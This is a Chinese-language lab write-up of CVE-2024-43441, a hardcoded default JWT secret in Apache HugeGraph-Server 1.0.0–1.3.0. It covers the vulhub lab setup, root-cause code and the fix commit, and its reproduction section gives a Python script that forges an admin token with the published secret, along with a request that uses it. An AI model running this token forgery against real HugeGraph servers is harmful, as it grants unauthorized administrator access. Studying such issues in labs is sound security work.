漏洞介绍

Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能,具有出色的性能和企业级的可靠性。

Apache HugeGraph 存在一个 JWT token 密钥硬编码漏洞。当启用了认证但未配置 auth.token_secret 时,HugeGraph 将使用一个硬编码的默认 JWT 密钥,其值为 FXQXbJtbCLxODc6tGci732pkH1cyf8Qg。攻击者可以使用这个默认密钥生成有效的 JWT token,从而绕过认证执行未经授权的操作。

漏洞范围

Apache HugeGraph-Server 1.0.0 - 1.3.0

漏洞靶场

使用vulhub的靶场:

使用环境为Apache HugeGraph 1.3.0

vulhub-master/hugegraph/CVE-2024-43441/

启动靶场环境:

1
docker-compose up -d

服务启动后,可以通过 http://your-ip:8080 访问 HugeGraph 的 RESTful API。

默认情况下,Apache HugeGraph 支持两种认证模式:HTTP基础认证和JWT认证。当启动 docker 容器时,系统会使用环境变量 PASSWORD 中指定的值作为默认管理员的密码。在正常情况下,您可以使用用户名 “admin” 和该密码通过 HTTP 基础认证访问 API。

如果您尝试在不提供任何认证头的情况下访问 API,将会收到如下错误:

1
2
3
4
5
{
"exception": "class jakarta.ws.rs.NotAuthorizedException",
"message": "Authentication credentials are required",
"cause": ""
}

漏洞原理

从Github的公告中(https://github.com/advisories/GHSA-f697-gm3h-xrf9) 可以看到相关修复commit地址为
https://github.com/apache/incubator-hugegraph/commit/03b40a52446218c83e98cb43020e0593a744a246。
img
之前使用的是硬编码的FXQXbJtbCLxODc6tGci732pkH1cyf8Qg作为Secret来生成jwt Token,修复后使用了随机生成的Base64字符串。
再确认一下JWT的生成流程,逻辑在hugegraph-server/hugegraph-core/src/main/java/org/apache/hugegraph/auth/TokenGenerator.java中。
img

hugegraph-server\hugegraph-core\src\main\java\org\apache\hugegraph\auth\TokenGenerator.java#L42-L53

可以看到使用Jwt签名使用的Key就是使用硬编码的secret FXQXbJtbCLxODc6tGci732pkH1cyf8Qg通过io.jsonwebtoken.security.Keys.hmacShaKeyFor(secret)生成的。

hugegraph-server\hugegraph-core\src\main\java\org\apache\hugegraph\config\AuthOptions.java#L88-L94

1
2
3
4
5
6
7
String secretKey = config.get(AuthOptions.AUTH_TOKEN_SECRET);
this.key = Keys.hmacShaKeyFor(secretKey.getBytes(StandardCharsets.UTF_8));
return Jwts.builder()
.setClaims(payload)
.setExpiration(new Date(System.currentTimeMillis() + expire))
.signWith(this.key, SignatureAlgorithm.HS256)
.compact();

看一下调用TokenGenerator.create方法的地方,可以在hugegraph-server/hugegraph-core/src/main/java/org/apache/hugegraph/auth/StandardAuthManager.java看到生成JWT时传入payload就是包含用户name和id的一个map,
img

hugegraph-server\hugegraph-core\src\main\java\org\apache\hugegraph\auth\StandardAuthManager.java#L644-L648

也就是说只要知道用户的name和id就可以生成该用户的合法jwt,冒充该用户进行操作了。

漏洞复现

除了默认管理员密码外,我们还可以使用默认 JWT 密钥生成有效的 JWT token 绕过认证。

生成一个使用默认密钥的 JWT token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 安装 jwt 库,运行 `pip install pyjwt`
import jwt

# 使用默认密钥生成 JWT token
token = jwt.encode(
{
"user_name": "admin",
"user_id": "-30:admin",
"exp": 9739523483
},
"FXQXbJtbCLxODc6tGci732pkH1cyf8Qg",
algorithm="HS256"
)
print(f"Generated JWT token: {token}")
# Output:
# Generated JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg

使用生成的 token 访问受保护的端点:

1
2
3
GET /graphs HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg

image-20250608211727439

如果移除 Authorization 头,将收到如下错误:

image-20250608211803964

参考

https://github.com/vulhub/vulhub/blob/master/hugegraph/CVE-2024-43441/README.zh-cn.md

CVE-2024-43441 Apache HugeGraph 硬编码漏洞 复现一则-先知社区 (aliyun.com)